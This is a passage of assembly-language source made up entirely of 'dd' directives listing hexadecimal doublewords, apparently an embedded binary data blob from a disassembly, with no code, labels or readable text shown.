3300E3F8h, 69824DBCh, 175BA498h, 442F148h dd 0C38BC1B8h, 4C0043B4h, 0BA36F8C6h, 0BD1B92h, 0DE617C22h dd 810DDDD4h, 2980389Bh, 0C3C891A8h, 4126009Ch, 54A9EDA1h dd 3CC4F571h, 0AAC3B737h, 0F805C37Eh, 0A297A91h, 7C08D548h dd 7DF83BCh, 6BC8C33Bh, 0B4B0F539h, 5738306h, 16487071h dd 7FCD57h, 34C18107h, 12F680D0h, 0D7ED4402h, 0E0DECB54h dd 7A48B30h, 392885ABh, 6EE40B5h, 71E2CF18h, 6400F2E0h dd 505B4F23h, 320D8h, 0BA85BBE3h, 0AA28C4FEh, 0C761A500h dd 58BD959Ah, 0D63C005Fh, 8E9E32F7h, 0E7003F77h, 267129C2h dd 0D7AA63h, 27ABB62Bh, 4BA6FC1Ah, 1F11E905h, 0FAC2122Ah dd 3C18E078h, 0E2520048h, 0EBDE9A8Ch, 0BA015857h, 0FD207294h dd 0F740B668h, 6BB2E3h, 53A569C5h, 1AF95A83h, 0CC732003h dd 9892A696h, 0CB6A95h, 19351EDh, 41AE2C59h, 0F8211700h dd 48245843h, 2771038Eh, 0B11AA676h, 0F0E0DB82h, 21098F73h dd 8003DF24h, 9FE11340h, 0AFA200A8h, 0E390869Bh, 0E4488F6Ah dd 0DA6500DFh, 0A6A30CC2h, 0CA0A26ACh, 0A0090074h, 0CB37C0DCh dd 9E860300h, 43E2AA07h, 0F6101C3h, 6676B822h, 0CF5AC895h dd 1513E5ECh, 0A700403Eh, 433CC5Eh, 13EEB5h, 4C6FE154h dd 0B8D5A9Bh, 71D54700h, 1FB8AC2Dh, 0E40A30FDh, 85988E89h dd 9C54BE00h, 40499D91h, 0C67C04C4h, 814B4811h, 0ED015210h dd 0B4F082E9h, 7187FFD3h, 12C180C8h, 0BCDF4210h, 99E5FB00h dd 1A86215Fh, 2840001Eh, 0A352DFFh, 0FC07624Eh, 0E82C22A2h dd 90FA5500h, 75260027h, 0CFC6C273h, 0C83EB17Bh, 0B5CA8313h dd 971C62DAh, 0B8F09847h, 186DCB2h, 95F3CFC5h, 24A28FB3h dd 7D60C298h, 0E7477CA6h, 0D621C81h, 3C5DC9h, 8914BC34h dd 7A006DA0h, 93ABB827h, 11A475h, 3DE2F4EAh, 0FB86E445h dd 0CF2BD800h, 0F81314A0h, 0F5B60560h, 808C2884h, 0C802675Fh dd 4ADE6F00h, 7B9F0A40h, 396A0382h, 77E0A5D8h, 70C775B8h dd 815FC53Ch, 8395CD6Fh, 20204DACh, 9D2B2EBDh, 0ECB7005Ch dd 0D5646D07h, 0DE001FE0h, 7E1999D6h, 0ED780Ah, 8F808D21h dd 7124D982h, 54645Ch, 51B80668h, 9C3AEFB2h, 91AC001Ch dd 4C8F04A7h, 0A0005CB8h, 4BAF9097h, 70EDCFDh, 6A91E306h dd 0F80C71CAh, 1B582088h, 6000CDF2h, 0EC277846h, 72CFD37h dd 0B65651D0h, 85F34352h, 38E4B9A0h, 8C040F4Fh, 0DCC8EA66h dd 0DEAA0026h, 7125CD2Fh, 1A982E3Ch, 0C5544F03h, 0C0AC3260h dd 12F3FEFh, 0DD22A799h, 7FC11EEDh, 0C4F7F0h, 0A5414DE5h dd 0ADBD3F2Fh, 0B0F85750h, 0E4C2020h, 0C0FE7A76h, 0E25BD060h dd 1C129DD3h, 58C0434Fh, 0F24134h, 52A6D589h, 7B7E06DEh dd 0BE949A00h, 0D0820891h, 0A1590B32h, 1300DAE4h, 0E41F40Ch dd 0AE39B83Bh, 0B00729Ch, 0E62F1B32h, 126710Ah, 6990CA1Ah dd 3027A1DCh, 0F300F021h, 0FF51227Ch, 75DB39h, 589A6D1Ah dd 7D66B405h, 884B4300h, 486823F3h, 0A9AC0B2Bh, 0A9003798h dd 7256DE65h, 1580789Eh, 1B48E3F9h, 9DA600ACh, 2861AB33h dd 0C3003A32h, 0D02A098Eh, 572102h, 922CED9Bh, 0EB94E516h dd 0BD465Ch, 0C06DA30Ah, 140CA213h, 88EE2CF2h, 5D700601h dd 0FCE8F529h, 30006235h, 9C2C9F5Fh, 5C97BF07h, 6A09219Eh dd 60E1AE57h, 0A0400908h, 0B4D2FEh, 32956C8Ch, 0EA93904Ch dd 45C96800h, 2F881730h, 64080080h, 3A48A41h, 0E7B0BA05h dd 0A8A38200h, 242FEB9Bh, 1EC81D4Dh, 1EA435Eh, 56E0877Ch dd 1D0F11B2h, 0C09BFE58h, 0FAF0CDF1h, 62D000EFh, 0E3836114h dd 0AC013389h, 5B7DBC10h, 220644h, 2855009Dh, 0C2C9F462h dd 268BB900h, 0FCCFAE60h, 133118EAh, 150D6C65h, 3D9708D0h dd 77C18326h, 0E8FFC2DEh, 0CA22F1F9h, 7DCE786h, 0E12879E9h dd 6018D5D0h, 1C3A0187h, 1B0900ACh, 0B35BB72Ch, 0ADC2015Eh dd 0B57D3E50h, 4BDFE0CBh, 32889A16h, 190E1900h, 0E9808D1h dd 50CC8615h, 0ECA96340h, 5E0092FFh, 1FC642D2h, 3774F8Dh dd 1857A374h, 4CE8F2E3h, 69F22367h, 80815539h, 0FACB1F7Eh dd 0CCF810h, 5F9CAF26h, 6858F420h, 0B67B0707h, 0C15067BCh dd 398042h, 527F710h, 0E1FC4ABh, 93888A00h, 35AF4036h dd 987525D8h, 13B78080h, 6078ABCBh, 0ED500F00h, 48BE283Eh dd 92EA002Dh, 7BC46D64h, 1E009878h, 30202A2Ch, 71EFCAh dd 0CF45C82Eh, 115CA7C2h, 0AD26AA00h, 6378AEC3h, 0F5280073h dd 0CB2AD8F4h, 1400700Fh, 0CE4AF9Ch, 0E3E9C1h, 92A0BBCDh dd 176C06AAh, 0BA998400h, 0F9498507h, 0F1230063h, 0E9ACCB6Eh dd 7D07D080h, 3AAD9015h, 39D3D830h, 0F699050Fh, 80640159h dd 0BD1D4E25h, 28C31600h, 252E445Eh, 471B1E4Ah, 0AB75C0E8h dd 0DFCBC964h, 0B9DEE500h, 944B92FAh, 3A6BF670h, 3811C87h dd 169F6D81h, 0F566C056h, 2103DEB0h, 98FEF4A4h, 24F7900Dh dd 0EDB11415h, 47278C94h, 0E000EF6h, 0A102736Eh, 42E055h dd 0ABC76C62h, 0FDDA5D7Bh, 4B7A7904h, 0C0D844h, 0F4165Bh dd 2FB3A007h, 82A9A203h, 33DB8E1Fh, 0F8A81B00h, 0E8BD3EB6h dd 91D900CFh, 844BBFE9h, 0E2002259h, 39A7F108h, 36B30Eh dd 0D62012D2h, 0CE3C79D9h, 4DB8558h, 38342915h, 665E53C0h dd 19840148h, 5AE932DDh, 913AF06Ch, 0F0BE7200h, 889CAD9Fh dd 16540E84h, 0F38A856Ah, 0FC3F00CBh, 0C3B6765Fh, 3D9ABA00h dd 4B9E3B6Eh, 0C5B40381h, 0EE5F1D0Ch, 756C65E0h, 0B8F91200h dd 0DD3BD3F6h, 0BF4D037Bh, 8170AAC5h, 0FC914C90h, 2DDF8F00h dd 75B12E6Eh, 859F00A0h, 0FD74C009h, 0F000B7FBh, 617EFE64h dd 0AD6E4Dh, 8B81AEE3h, 5550C0B2h, 7452500h, 0FCCBEB7Ch dd 69FA00C1h, 791B6F61h, 86001ED7h, 925B1DC6h, 0BD10A1ADh dd 460054D8h, 2CB717CFh, 29937D2h, 0BA493D58h, 0E48070EEh dd 1AB9DA3Ch, 0E501BF00h, 98A06030h, 7A9007E7h, 60D196FDh dd 22828A0Ah, 0FB2AE400h, 1F2D1588h, 0A0C5009Ch, 6C0A4D4Ch dd 0E9027796h, 2A566F3Dh, 10878063h, 6AFB67h, 0B3472E38h dd 271989A2h, 88D93Bh, 99037A1h, 73C51D10h, 0A7AE1DBCh dd 8C668026h, 5B2A8E4Bh, 0D7E1474h, 1244648h, 2E5DEEB2h dd 0C7DD782Ch, 9BE8CCh, 0D9FA2939h, 0DC918A9Ah, 2C83E500h dd 8EE3B544h, 6301007Ah, 7BCE68BCh, 0EE00CF5Ah, 0B5769BF2h dd 6DDE48h, 22FEAC19h, 0E3265913h, 0A2C4B0Eh, 0AB7F409Eh dd 0B9F807h, 0EA94338Ch, 4C295F0Ch, 3CAD320Fh, 225238B4h dd 0FEF20006h, 2A94EEE5h, 2C187341h, 85C4AC27h, 728F0FF0h dd 3680C07Eh, 0D5195A4h, 3F305600h, 715229ACh, 0C4900BFh dd 607CEA77h, 4C00B885h, 69C96F4h, 19F39A0h, 54558B1Eh dd 80B3D005h, 0DDD89948h, 5DE830h, 0B6C841CCh, 0F0BC4BD5h dd 3346DF07h, 9A70D914h, 30C5CBB7h, 2266917Eh, 13003C76h dd 0DB02D5Fh, 48D78Ch, 8908281Eh, 56B7471Dh, 26699900h dd 588FD83Ch, 624400CFh dd 7C9DB52Dh, 0D5003659h, 0D7A40F2Eh, 0A819DBh, 0F71AC1E5h dd 6F20C664h, 0CE081E00h, 5ADD26F8h, 0C7680FCDh, 2A00AB07h dd 0BC48710h, 0B93C021Dh, 24E17D87h, 678671C0h, 8DC00157h dd 4E12D04Dh, 9B6830B0h, 8B2E9C01h, 0CC47D72h, 60AF8040h dd 784A01F1h, 841B9612h, 0A0AAD001h, 0AE0A7000h, 20CC9C0Ch dd 1EA11D5Ah, 43C380F3h, 0B54510A8h, 0FE713B03h, 0EFEC5DD4h dd 647AEB80h, 0FFE500A9h, 0C87089F0h, 27001F1Ah, 63DC24C0h dd 1358DCCh, 6849B02Ch, 0ECDF6D0Bh, 3400F0D4h, 0F5C53304h dd 534286h, 7022BE43h, 0CA75E689h, 85084F01h, 0D2CC6D68h dd 39F76360h, 82812F38h, 93E7995Bh, 2950D00Ah, 5D31D600h dd 2DF07168h, 83F53C76h, 2F7C418Fh, 0FAC4803Dh, 367A0E50h dd 8D1B610Bh, 67200004h, 1F8E2201h, 0C042AEE2h, 92796099h dd 9B2477B6h, 5400F883h, 46878CE8h, 9A241289h, 40341D99h dd 314A969Dh, 1303C468h, 0FC238149h, 0B721E93Eh, 347230h dd 0E5F092E2h, 8EF95761h, 0C543E000h, 0B9FECE35h, 3C6D0F1Eh dd 28803E77h, 0E57BF0A8h, 61982D00h, 68C14411h, 5FECDFh dd 58FA3647h, 0D5E99FE4h, 43EDDB00h, 1DE8AC74h, 0AA9B00DCh dd 0F71225EFh, 0C500CA50h, 5AC6A6D7h, 7D86303h, 8336063Eh dd 809C458Ah, 0D5BBAF50h, 0AC326B00h, 0B48E2622h, 9C9B018h dd 0C55A3413h, 0D2ED1603h, 45B1E4A8h, 0ADB7E800h, 0D9E36E4Ch dd 0A5E0F4Ah, 0A3807A2Dh, 82141FDDh, 7E324600h, 77FB2289h dd 21D9099Ah, 0E000A55Eh, 0FACD0FD0h, 0B3C61900h, 0E483A054h dd 0A898000Ah, 6B8C3AD1h, 22000E64h, 31088B78h, 3EE8AE2Eh dd 7F85BDF0h, 0C03CC6BAh, 7CDB8A90h, 0FF71B3B8h, 0C3E23D00h dd 0B87DE6A4h, 34EAFEh, 0AA19D50Fh, 922EE0C4h, 0A7009C7Ah dd 4C4081EDh, 0F7329A5h, 0D2D331D8h, 0AB8B813Ch, 0C84A2870h dd 50007754h, 57483F6Eh, 0B77ABAh, 0CE3E10D1h, 258063E5h dd 0E8164Ch, 945639CCh, 7227360Fh, 0B9AF00CBh, 0E93EDC7Dh dd 20907A4Ch, 4EF37400h, 1A947226h, 98FEACh, 12B8CF9Ah dd 0F733710Fh, 2A45F600h, 3F85D229h, 0AF6E0F24h, 890EF4B4h dd 37655F00h, 83E0C709h, 0D1233603h, 88BE8AD6h, 802D205Ah dd 18094F92h, 0BB379FE2h, 788AB874h, 46CA0064h, 865BDFBDh dd 0C800D751h, 0DD8D939Fh, 3831BB56h, 0B88027AEh, 0D55DA28Bh dd 0E11C3D2Ch, 127B4898h, 0BB005A72h, 3E01E432h, 0E27610h dd 0A21577F0h, 1A6178FEh, 0B8DB7B00h, 0E4D2EF29h, 233500ACh dd 0E011BAEh, 5307F4B9h, 381A364Ch, 0E6206C40h, 19A90165h dd 5F2D1B5Eh, 31F5D03Ah, 0DC005BB0h, 0C1DA6ED0h, 0E74F08C8h dd 102070h, 0C98B8C07h, 0B812220h, 5BC7116h, 3D9F5000h dd 0F8B7AB3Bh, 0CC770328h, 33AAD637h, 0E49B50BFh, 0B600598Ah dd 6BE3CB1Eh, 496E51h, 82165C88h, 79FC8477h, 3CE6603Eh dd 0FBD10063h, 8CAADABAh, 0E3A00001h, 362339FFh, 4112D993h dd 2F01A19Fh, 73066284h, 3D60ADCCh, 15009021h, 0F6825113h dd 3500B08Dh, 18280CEEh, 388F251Dh, 0D0870B77h, 403443B9h dd 0C486E767h, 7F9DAC00h, 969153F3h, 707292h, 0C612D6B5h dd 4A2263F6h, 0C338D01Fh, 4C148842h, 0B80CC0F1h, 8A5718C9h dd 5A0528DCh, 6D560C1Fh, 0E08020C0h, 643BC0h, 815439CEh dd 0A233C1C4h, 9E0937Bh, 1ABDAE00h, 0D446D9Fh, 96380768h dd 208D5FEBh, 9AE79755h, 50CAB11Fh, 0FA73CF00h, 2D61A1h dd 98414DCCh, 0F89F4F0h, 6A513A01h, 0F15D05D3h, 2AC48841h dd 0C0FD0CE4h, 207EA998h, 9DF63E14h, 5A032300h, 329B2C74h dd 39DB75E8h, 8A00FCDCh, 0BDF4E42h, 22007DBEh, 0B824C24Ch dd 46146Dh, 8B122BFEh, 0CD2AA22Dh, 6E48FD0Fh, 0F04FC0DEh dd 242C72BAh, 2CF49EEDh, 0EC4E00A8h, 6697F63Eh, 4CB17A01h dd 6E6D4650h, 1F9117CCh, 0C0096A87h, 0B1017BBAh, 9000B82Eh dd 671E9B51h, 2403939Dh, 83A897ACh, 72C14FCDh, 0B5208BC8h dd 29125512h, 6A42E04h, 63C7CBC0h, 0A9AD007Bh, 818A328h dd 720011C3h, 17B497B9h, 1D8B4480h, 6C969FAEh, 2FE100D4h dd 5C6B5203h, 4E3A1A00h, 54293FA4h, 0B85A006Ch, 13FD7428h dd 70B740D6h, 0C3FE0FE6h, 43FE270Dh, 0FB625F96h, 534F2000h dd 0C7BB5070h, 7E25120Eh, 0B940C082h, 7248B1F6h, 78E84845h dd 55E5E60Fh, 391661A4h, 28839F2Bh, 4622D6C1h, 98B59800h dd 0BAEE1375h, 0E45100CFh, 0C3B26487h, 3598542Fh, 1148DAF6h dd 2C890068h, 0C62A8D14h, 2ED90FE5h, 1CE39FFBh, 5100D34Ch dd 37D4F5E7h, 0BD380857h, 1560F1E0h, 205B6C18h, 508B2611h dd 1D1C9C14h, 0D6A5D8B0h, 0F440038Fh, 480090CAh, 0FAECC61Eh dd 619C9E7h, 0E4F9C3FBh, 0BC01291Ah, 27905A3Dh, 18E0B478h dd 493B0369h, 9A5B3442h, 0E9BF408Fh, 3C001DFDh, 59D4F157h dd 2F3ADDh, 0FF937F9Fh, 26CA8804h, 1DA5FD07h, 77003E0Ah dd 0D4F8B0h, 5553FE87h, 9ACBA7F7h, 59350500h, 7E96688Ah dd 66D00FA8h, 4D472D0Dh, 2219D194h, 3EF6E8DDh, 0DB92B41Ch dd 8ECD80B9h, 0E188F351h, 3AECB0CFh, 0D600FAC7h, 919A573Ah dd 50014E86h, 4807FE72h, 5E89B43h, 35660A0Fh, 80D8B5F4h dd 0EC1AF003h, 99002806h, 0BDC7AF04h, 7BB01Bh, 0DAE4E23Fh dd 0D56EEED8h, 58E75900h, 0F2DB0454h, 3FB60F88h, 0D0B5BD30h dd 0E2FCFA03h, 4DD823C0h, 813E4C04h, 6A3F09EEh, 79240031h dd 1ECC95BBh, 804E2713h, 0E95C10FDh, 4600E46Dh, 0C23D0C25h dd 92375DEBh, 0F0604B3Ch, 1300FAA2h, 0D9D3215Ch, 0CFC35Eh dd 10BC6C67h, 7435A056h, 0C40F914Eh, 877E6B4Bh, 0F700F06Ch dd 60D4CFCAh, 9DF6D4E5h, 8C0071D1h, 0BC77A2E8h, 51080Eh dd 689FBA84h, 0C3D6604h, 2D736500h, 311FC862h, 0CF1800A1h dd 88D543DFh, 0DFB064EFh, 9BA09960h, 760C7F1h, 6A7D2627h dd 96809FFCh, 82A1B0B4h, 0E094F500h, 0BF9015Dh, 0BC5A3E8Bh dd 6661BF01h, 0F89E972Bh, 0A31D2592h, 6D1CA9F4h, 739079C0h dd 1CB5BB85h, 4331439Ch, 273E5CD0h, 0A47E2060h, 8ECB3h dd 342C3AB6h, 0DC595EF2h, 0F17BE403h, 0B046E8D6h, 692999Ch dd 4AEF14ABh, 0A4006089h, 5CF37932h, 113D6CCh, 0E263F721h dd 3268859h, 0FBA6A1B3h, 67C74850h, 93592C02h, 61482077h dd 17DE31DCh, 0D486D464h, 0D9A86800h, 847F78DAh, 46D207A3h dd 70CBE50Ch, 5BE956C0h, 269066E8h, 0FCA5391Dh, 8218068h dd 0B7458002h, 8EADBB8Bh, 540738A9h, 0A457C080h, 775E7BFAh dd 4C1CA81Eh, 166B5100h, 0C732447h, 0A4D30628h, 3328D960h dd 0D501C7D8h, 446F43F2h, 944073C5h, 145217h, 8F707FC0h dd 0D9D060DAh, 96C1CB00h, 2C58F061h, 13BE809h, 0EC9CFF13h dd 0CC04A08Eh, 0D50036AFh, 686CF306h, 0CED2B6h, 0D93CCD4Ch dd 0B5C597B4h, 0CB3DFD00h, 0C743A5Ah, 9990011h, 0DEEAA7EDh dd 59004984h, 17DD6E13h, 0EA9E6ABDh, 116800D2h, 0C4DE233Fh dd 653E616Bh, 4D970076h, 179B745Fh, 0AE72385Eh, 0BCCED00Eh dd 32B805Fh, 5F1AD689h, 9F1E70EEh, 0E6C14FC5h, 0AAF6A89Eh dd 0ED50BCCh, 869C7DDEh, 21E5C960h, 0E006B9Fh, 0C6282F92h dd 7E0477B7h, 0F6FD0036h, 9B9A7CF5h, 0A400CD3Eh, 3BBF0C61h dd 226733h, 36EB1D21h, 5A0E783Ch, 0A31AEF00h, 0C529DED3h dd 0D474000Ah, 282EB360h, 0AD3B2297h, 40073FFh, 6C858737h dd 84576Eh, 55C27570h dd 0EA391150h, 0CE12A900h, 0DDED033h, 0F444E441h, 0DB3B00F3h dd 0AB97FBDCh, 143E1A4Dh, 381C785Fh, 0A4CEB9BBh, 0EC4602B2h dd 952A4085h, 14AF015Ch, 3107F92h, 20888025h, 0B7C03982h dd 234B06FDh, 0A02C5CEEh, 3BDD7000h, 15A403Fh, 95F008Ch dd 6EE58A31h, 1E287E0Fh, 0E0EED10Dh, 3E82421Eh, 85160E03h dd 957EB0F9h, 2283004Ah, 0DBC30C84h, 0F004353h, 0C4186290h dd 60544BA2h, 5A1E2839h, 2C0084D5h, 5DC28DAFh, 13C76h dd 85F212DFh, 36FCF879h, 3158897Dh, 4AEB00DEh, 6D2D59B4h dd 0FA0600A8h, 0D5EF648Bh, 0FC038CC7h, 0BE85ACF4h, 0B477A070h dd 0AC47803h, 7DA499E1h, 322900B6h, 789DA3F4h, 0D2F6600h dd 0D88CF0E0h, 5D1E007Bh, 0F65C41BCh, 1BEC7EC7h, 8A052005h dd 95809118h, 0AE86BFh, 1FF7F898h, 2529C232h, 8C1661Fh dd 0A7373680h, 0B85A84B5h, 0BA5CC094h, 0E915DB45h, 4ED9531Dh dd 0BC009BEEh, 17664BE4h, 0E8393FF5h, 506FAA01h, 0E0048524h dd 0A600EEB2h, 0FB874696h, 3673E7h, 0CB8975E6h, 0D6144893h dd 0A93DAC00h, 380C3787h, 0E32800F8h, 0A5F2AB21h, 73077725h dd 0A82F2E9Ah, 0B6D81400h, 9BCB0AC1h, 3C8CA4FEh, 3B5A1B00h dd 41665CABh, 0C2AF8800h, 302816CAh, 0EA630097h, 0D32685F7h dd 9F010C52h, 9D1C0E7Bh, 0D480D2EBh, 9261169Ah, 0B701FA22h dd 0FD77AD70h, 0E8DC7FF0h, 0B63006Ah, 6FC44CC2h, 0A80029A4h dd 0B2B44E32h, 0C8B1E0h, 9E399ABFh, 68F085ADh, 94B71903h dd 0D80B4651h, 0BC7F59h, 0BF6A4495h, 0CF77D70Fh, 7BE0DB00h dd 7F1074D5h, 3B8D000Dh, 0D8B6ED25h, 0C47F75BFh, 950ABD03h dd 0B4342Dh, 826AAC50h, 5E425CEFh, 0C74E9E00h, 0DFF56EB7h dd 0ED0D03B3h, 0AD25491Dh, 942A21E0h, 57DD5500h, 0B1503293h dd 6F720027h, 0EBBA8978h, 6000860Bh, 0B3C5DACEh, 1D18DCh dd 4771817Ah, 0A6926F87h, 40000975h, 0FF24473h, 905BD3h dd 45085A5Fh, 0DBDFAE30h, 1F568000h, 0FB231C0Ah, 0BB75007Fh dd 6F144C03h, 0BE00EB15h, 0CD2B8F27h, 0AF3097h, 2DE3E018h dd 0F7120C23h, 0B4EBA300h, 4202E214h, 53674857h, 81443C1Ch dd 0A52865ABh, 0ED8D707Bh, 386FC700h, 0A0F88B6Eh, 0D98100A4h dd 0C625E518h, 0B8784A45h, 17237348h, 2100E036h, 0BC289A12h dd 0C5A1009Bh, 8F49EE6Dh, 0F0327E7h, 0EAA204E2h, 0D695B8A0h dd 38A80057h, 0C0AEDA24h, 0D0005899h, 9615467Eh, 7CBBC4Dh dd 0A450ED94h, 325190D1h, 0DF00229Dh, 0B66124F7h, 0F8987BBAh dd 0A942002Ah, 0A5414918h, 7E004387h, 3E109333h, 3004AEACh dd 0E3B8DBFAh, 963B4B53h, 5AB90098h, 1EB30D38h, 50E114A9h dd 0E4809899h, 134E087Dh, 0FFA44100h, 0F92216B8h, 2D76004Fh dd 58B10ECBh, 0D12AE9Eh, 0DE0FC267h, 2812E156h, 9E73851h dd 78F90670h, 80F2C385h, 4A651575h, 6D2A8A01h, 0D7FF66EAh dd 3C71CDCCh, 0AF04241Dh, 0C0125550h, 209B2E63h, 0E18A9800h dd 6C2541C6h, 4C1F05D2h, 8751237Eh, 0F3F950F6h, 3800862Bh dd 6B715FADh, 3C0F09B1h, 0FA8050EEh, 0FE15A5FFh, 960EFB5Eh dd 0A04DCDBAh, 9C426D20h, 0CA112E34h, 0AC33079Ch, 2C01F0F7h dd 3700C436h, 8B6F482Dh, 1E15C23Bh, 449F7895h, 0C0E057CFh dd 61890834h, 0FA744A00h, 7D0D012Bh, 0C8513CE1h, 9D739880h dd 69A6949Fh, 75D6F500h, 338CCABFh, 1E627E36h, 0C05C93DCh dd 0B932731Ch, 2E01A9BDh, 38A564CCh, 0F0F3458Bh, 0FD54799h dd 326D15A8h, 0F4C2C580h, 0EC1E0153h, 0A0C055EBh, 4281A7B4h dd 15C80043h, 1D797011h, 0FA3F7CB2h, 52E70344h, 0B8789677h dd 0E2327A66h, 0A07CB049h, 391E7908h, 0BB81CC80h, 2AC747A6h dd 6E61F20Eh, 5C620FFh, 0CDD6D700h, 4BB973A3h, 80EE5037h dd 2D3A5865h, 47338800h, 7DFC72B0h, 0C4DD9F00h, 3182FABCh dd 206A0048h, 0A12CC35Eh, 0EB00639Ch, 0DF53F0C8h, 7CFA67Bh dd 80679675h, 6D92E02Ch, 0B4745CAEh, 519A4D03h, 0C81A4731h dd 0E40EEA8h, 56FD0E28h, 5D1CECA0h, 9900E845h, 0F1190583h dd 1C7074FFh, 402113D4h, 0DC4B6B14h, 0E500FE71h, 886C523Eh dd 6FF3D2h, 0A02157AAh, 39A24ADFh, 0A5FDD501h, 0F4AB4898h dd 0F98CD0h, 0F018308h, 0F33ACA7Dh, 752EC2E6h, 270E7197h dd 0A26160E5h, 0CD4FDBh, 396DF8B8h, 5FD5A51Fh, 32D7300h dd 36A820B0h, 26BEE2AFh, 1882A6C9h, 0E67621D4h, 1762241Eh dd 0D6A2B243h, 0CDB7C04Fh, 0C1E10E0Eh, 30477ABFh, 0D2701C65h dd 7E216617h, 0D6180C00h, 48E17A28h, 4E09A2A1h, 7B8E8402h dd 0DA80DF0Fh, 9906140Dh, 5E11B800h, 0E6773E28h, 65D7002Bh dd 24C76D30h, 1B000743h, 0E449605Bh, 12D6E53Fh, 0DD6512h dd 0BAEE56CDh, 0BF014176h, 54375308h, 0D7E062F3h, 0EAEF0088h dd 84B86BF5h, 0A607D4B5h, 1E4DED49h, 0B0350D2Bh, 8E7FCCh dd 13709A21h, 0B40140A9h, 0A70FCD7Fh, 53466EFh, 0D5006960h dd 549D83F3h, 677A0031h, 0DBC04EA7h, 3900E427h, 0B116E72Fh dd 14AFA46h, 4828C84Bh, 0E860084Ch, 0A216153Fh, 0A900C5EBh dd 3D755F4Ah, 0D78200F2h, 0CA9FC45Dh, 78C0BA9Eh, 8F736218h dd 8F00029h, 61F18CFCh, 52027E3Ch, 0BE6BA103h, 0D6F0A015h dd 0C5D1A8h, 7C600C11h, 69C7BB1Bh, 9870BA0Fh, 3DE8C06Bh dd 748AE6h, 3BC2A279h, 0E3723302h, 71AF2530h, 386C7322h dd 0C8AA9A4Eh, 6F200E4h, 0F443B98Fh, 0B6003554h, 0A6ECB324h dd 0EA47BCB1h, 81B1C6F1h, 800049DFh, 2E0C6D4Eh, 2CD57AA5h dd 5CB778h, 0AEEFE366h, 88B05D54h, 0EDBB3A00h, 0F2929ACBh dd 1DA018B4h, 2DEB18FBh, 1638CA3Eh, 0B1000745h, 4B11A79Ch dd 6F1D03CDh, 74C7B961h, 0D509F9F0h, 0CADBC600h, 0A24E2066h dd 98DE7EFFh, 847FB7h, 0A797A59Ch, 0C6B9A023h, 0F895E826h dd 202D330Bh, 84D3E5ECh, 0F6F0C926h, 6F103900h, 4500BFE4h dd 6885C221h, 24246B54h, 6A480A2h, 0F993F1DCh, 8579E100h dd 0B714B841h, 0B3BE0344h, 43A33804h, 7FEB2098h, 66E9ED0Bh dd 0AC8B00CAh, 0E670447h, 9074A24h, 0F71A407Eh, 1C06E95h dd 145F5907h, 0A630F9BDh, 0FD343Ch, 0CE2E29F4h, 824ABA8Dh dd 39A83Eh, 4DE71DF7h, 0A0BDABh, 921B7AD6h, 0E6E03530h dd 0EF402A0Bh, 89787Eh, 6C33683Fh, 0FE3D84A7h, 0EE77FAF2h dd 0B35760C3h, 5DB99009h, 0A2E70025h, 0E6C42AF2h, 810388EBh dd 52C9F5FDh, 0DE3FA9D0h, 871BDCh, 0B6760484h, 0DC29D1DFh dd 73273C3Eh, 0A0F47C00h, 0AF3FE0D5h, 0CA300012h, 862DCD9h dd 8F002594h, 403CCEFBh, 6D9A57h, 3985458Ah, 0D6C41A0Dh dd 1F6ED10Ch, 0C14086h, 0E3BE072Ah, 0C9B2BD38h, 4212B0C0h dd 8951F6h, 0FA58F756h, 0C1A3D280h, 0A5ACD354h, 0FDB4FF18h dd 1C95F668h, 80D42CC6h, 1508BDC1h, 0EC28C478h, 0A22CA42Ah dd 4A009EB6h, 0B858072Bh, 0EEED009Fh, 3023891Ah, 9B005BD5h dd 0E278BB38h, 0D93A2Ch, 54A3081Fh, 0CBC7F904h, 0B1BF1B00h dd 38E8E30Eh, 8D10F90h, 7B004906h, 98F3939Ah, 50D38900h dd 0FCB38E4h, 150A0A34h, 5920EF0Bh, 103961C3h, 3687D020h dd 99553B00h, 0BE4EE26Fh, 30E061CCh, 0FC8098F5h, 31EC7404h dd 0E5F35119h, 8BEC9948h, 7BE23C7Fh, 610019C8h, 232FE81Dh dd 6B015673h, 9897825h, 0C8D87295h, 1247721h, 0CBC62CDDh dd 80DB18D3h, 8F3B0BA0h, 0B38108Eh, 0CF86B8DEh, 592F700h dd 0F100CB73h, 0CD1B125Dh dd 5983676h, 0C9A5B574h, 0C6A44057h, 8E18F0FAh, 0D3D2C500h dd 0E277EB56h, 3EB2180Fh, 6A64B0CAh, 23146101h, 0BBCCBF9Bh dd 36A5B980h, 0EE72AE8Dh, 0AF0ACFE8h, 80BDB740h, 8B592FC0h dd 0CBAA10D2h, 0B30EF152h, 0F817F970h, 639892h, 0AE87869Dh dd 73917533h, 0C9DDF0A0h, 0A7EF1800h, 0D9A3F20Eh, 79F60027h dd 0AFD5062Bh, 2C02B303h, 5B30A123h, 0A0A08F85h, 0ADD6C3Dh dd 1ABE07A3h, 60FA918Ch, 7D8D9925h, 0CDF2300h, 347A841Bh dd 420A5B9h, 33BE542Bh, 330BC0A2h, 1ED0DFD1h, 5EAE63Ah dd 4E296822h, 9F8040D0h, 3F237E82h, 10B1A304h, 0EBC31C36h dd 0D51BA024h, 56D80077h, 0CADF42A0h, 0CF78CC8Bh, 0B58C7801h dd 6872A40Dh, 0EEC38FD8h, 0DC790075h, 315EFA88h, 70005217h dd 0DAAD24FBh, 0A81BCCA5h, 36E04E0h, 0A2543B7Bh, 1858182Ch dd 73D7002Ch, 3CEAE405h, 0FA01751Eh, 0A7AB1BCAh, 47B89841h dd 61019DBBh, 2617838Bh, 59AC6739h, 0DEF90186h, 308F22EFh dd 97DE33Fh, 8CFD4D00h, 507CC5A1h, 712A6015h, 92B06622h dd 7224CBF8h, 2C00495Eh, 7094A890h, 73490081h, 0C66610D5h dd 47000378h, 0B2C3F5B1h, 14F089h, 901E57DDh, 0D660C92Dh dd 0C59A111Eh, 179F9B40h, 0A7EAE6Ah, 47FABADBh, 2EC601D8h dd 200B63ACh, 0B302D088h, 0FB2FEEAEh, 836C4069h, 4F060046h dd 0D4A19F95h, 0DC18B2EFh, 0C1B11E73h, 0A9910F51h, 0A6408C69h dd 24B5F1A4h, 1A988301h, 0DBABBD88h, 4541CCh, 0B444190Dh dd 0E57C6A8Eh, 95048F50h, 34B74E3Eh, 0C6E2113h, 0A5000447h dd 97F604FCh, 940005CEh, 8950881Fh, 1F77DA5Eh, 4095A7A8h dd 55BC5431h, 19C44802h, 1C22940Bh, 0F7FF18A1h, 0C26413CCh dd 0DCC42F21h, 96D345CDh, 0B5B0C05h, 0DBD01805h, 1A732404h dd 5DA9B420h, 11EA0789h, 0DF3C51EDh, 560C40DBh, 0C3885BCBh dd 